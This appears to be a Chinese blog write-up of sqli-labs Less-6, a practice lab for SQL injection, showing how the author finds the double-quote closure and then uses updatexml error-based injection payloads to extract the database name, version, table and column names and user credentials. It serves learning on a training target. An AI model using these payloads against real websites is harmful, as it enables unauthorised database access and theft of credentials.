当前位置: 首页 > news >正文

sqli-labs学习记录6

less-6

打开靶场
在这里插入图片描述

判断闭合方式

输入id=1’
在这里插入图片描述
没有报错,输入id=1’ --+
在这里插入图片描述
没有报错,似乎不是’闭合,试试其他的闭合

id=1"
在这里插入图片描述
报错了,在加上注释尝试:id=1" --+
在这里插入图片描述
回显正常,应该是"闭合方式。

这个题和第5题应该差不多,用报错注入

id=1" and updatexml(1,concat(0x7e,database(),0x7e,version()),1) --+
在这里插入图片描述
回显了数据库名与数据库版本。

查看数据库名

id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,32)),1) --+
在这里插入图片描述

查看对应users表的字段

id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),1,32)),1) --+
在这里插入图片描述

查看users表对应字段的信息

id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,id,password) from users),1,32)),1) --+
在这里插入图片描述
返回了一部分的数据,和第五题是一样的原理,因为updatexml函数不能传输超过32位的数据。

相关文章:

  • 使用 Fetch API 实现流式读取
  • 单片机学习笔记——入门51单片机
  • 在windows下通过wsl工具管理Linux子系统
  • UDS诊断、ECU刷写、自动化测试、车联网测试、DTC故障注入测试、坏境测试、可靠性测试、压力测试、性能测试等
  • 计算机四级 - 数据库原理(操作系统部分)- 第5章「内存管理」
  • QT Quick(C++)跨平台应用程序项目实战教程 3 — 项目基本设置(窗体尺寸、中文标题、窗体图标、可执行程序图标)
  • C++:类和对象(含各编译器对编译过程的优化解释)详解[后篇]
  • Neo Gamma 机器人在 GTC 2025 上的突破性进展与表现分析
  • JVM运行时数据区内部结构难记?一个例子优化记忆
  • 避坑指南 | 阿里云服务器centos7上MySQL部署优化指南
  • C++之模板进阶
  • 亮相AWE2025,MOVA以科技重塑生活,以美学沟通世界
  • 标贝科技入选2025年市级数据要素市场化配置改革“揭榜挂帅”名单
  • 2025蓝桥杯备赛Day1——B2109 统计数字字符个数
  • 微信小游戏:跳一跳,自动化操作
  • 4.6--入门知识扫盲,路径追踪与路由误导:Tracert攻击 vs ICMP重定向攻击(包你看一遍全记住)
  • squirrel语言全面介绍
  • JAVA学习--java数组--打印稀疏数组和稀疏数组的还原
  • React基础语法速览
  • 每日一题力扣2960.统计已测试设备c++
  • 总没胃口,一吃就饱……别羡慕,也可能是生病了
  • 体坛联播|巴萨4比3打服皇马,利物浦2比2战平阿森纳
  • 快评|印巴为何停火?已达成“一场胜利,各自表述”的效果
  • 广西百色通报:极端强对流天气致墙体倒塌,3人遇难7人受伤
  • 第四轮伊美核谈判将于11日在阿曼举行
  • 七大交响乐团“神仙斗法”,时代交响在上海奏出时代新声